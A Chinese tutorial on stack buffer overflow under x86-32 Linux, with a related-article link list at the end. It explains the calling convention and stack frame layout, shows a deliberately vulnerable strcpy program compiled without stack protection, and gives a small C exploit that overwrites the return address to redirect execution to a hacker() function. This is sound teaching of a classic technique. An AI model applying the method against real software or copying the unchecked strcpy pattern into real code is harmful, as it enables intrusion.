x86-32-Linux下栈溢出攻击原理

在x86-32-Linux下构造一个栈溢出攻击

栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。

IA-32下C函数调用约定:

  1. 调用者将参数从右向左入栈,构造参数
  2. call 指令短跳转,会将call指令下一条指令地址(RA)入栈,供RET指令返回使用
  3. 被调用函数创建栈帧,push %ebp; mov %esp, %ebp;

则一个函数调用的栈帧情况:

c 复制代码
void func(int a,int b,int c) {
	int tmp = 0x99;
	return ;
}
void main() {
	func(1,2,3);
}
0x0 参数C
0x4 参数B
0x8 参数A
0xC RA地址
0x10 旧%ebp
0x14 tmp变量值0x99

攻击原理: 利用strcpy(dst, src)函数,对写入的src数据长度不做检查的特性,对函数的栈数组进行写溢出攻击。

假设待写溢出的数组在test()中

c 复制代码
// a.c
#include <stdio.h>
#include <string.h>

void test(char *str) {
        char buffer[16]; // 待攻击处
        strcpy(buffer, str);
        printf("%s\n", buffer);
}

void hacker(void) {
        printf("being hacked\n");
}

int main(int argc,char *argv[]) {
        test(argv[1]);
        return 0;
}

gcc a.c -o a.out 编译后,objdump -d a.out反汇编查看栈布局。

发现GCC对strcpy()的调用处插入栈检查代码call 8048398 <__stack_chk_fail@plt>.

首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector,查看反汇编发现没有了栈检查代码。

于是根据反汇编代码来得到test()的栈帧布局情况。

由sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间,布局如下。

并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址

数组buffer的起始地址是-0x18(%ebp),于是便能够知道数组在栈帧的中的位置,

%ebp+0x8 参数 char *str
%ebp+0x4 RA返回地址
%ebp当前的值,也就是test的栈底,0 main的%ebp
%ebp-0x4
ebp-0x8
-0xC buf 12~15
-0x10 buf 8~11
-0x14 buf 4~7
-0x18 buf 0~3
-0x1C
%ebp-0x20
%ebp-0x24 = %esp + 0x4 strcpy的参数:char *str
%ebp-0x28 = %esp strcpy的参数:buf地址=-0x18(%ebp)

既然有了buffer数组的位置,那么就能得到buffer数组到RA返回地址处的长度=16+3*4=28字节,28字节后面开始的 4字节便是需要构造的"攻击"跳转地址

假设我们想要其跳转到void hacker()函数,写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址

有了hacker()函数地址,便能构造写溢出攻击字符串的内容了,28字节的垃圾字符+4字节hacker()函数地址+\0

代码如下:

c 复制代码
// test.c
#include <unistd.h>
#include <stdio.h>

char tmp[33];

int main() {
        for (int i=0; i<28; i++)
                tmp[i] = 'F';
        // 对应hacker()地址 0x08048439
        tmp[28] = '\x39';
        tmp[29] = '\x84';
        tmp[30] = '\x04';
        tmp[31] = '\x08';
        tmp[32] = '\0';
        char *argv[3] = { "./a.out", tmp, NULL};

        execve(argv[0], argv, NULL);
        return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -std=c99

./test运行结果如下:栈溢出攻击成功

总结

需要根据反汇编代码来查看函数栈中的变量的布局,然后根据栈变量布局再来构造溢出字符串。

相关推荐
Ivanqhz3 小时前
激活函数在 Transformer 中的作用及各种变体简述
java·linux·数据库·人工智能·深度学习
殷色玫瑰6 小时前
C/C++ 内存管理详解:从内存分布到 new/delete 底层原理
java·linux·c语言·c++
꯭自꯭闭꯭7 小时前
DM7主备升级方案
linux·服务器·数据库
用户4107192013257 小时前
VMware 虚拟机Ubuntu 环境linux远程连接失败
linux
lisanmengmeng8 小时前
Nagios邮件报警的配置
linux·运维·服务器
Ruiery8 小时前
Linux 6.6内核 CPU 深度解析(六):cpufreq
linux·运维·服务器
倔强的石头1068 小时前
【Linux指南】动静态库系列(十一):PLT 与延迟绑定:第一次调用动态库函数时发生了什么
linux·人工智能·python
硅基手札9 小时前
【linux内核专栏 08】时间与定时器
linux·运维·服务器
想做小南娘,发现自己是女生喵9 小时前
Linux之Ubuntu入门篇知识总结
linux·运维·服务器
CHEEVEN_QY10 小时前
搅拌摩擦焊FSW工艺参数对焊缝成形影响的实验研究10.1
linux·服务器·数据库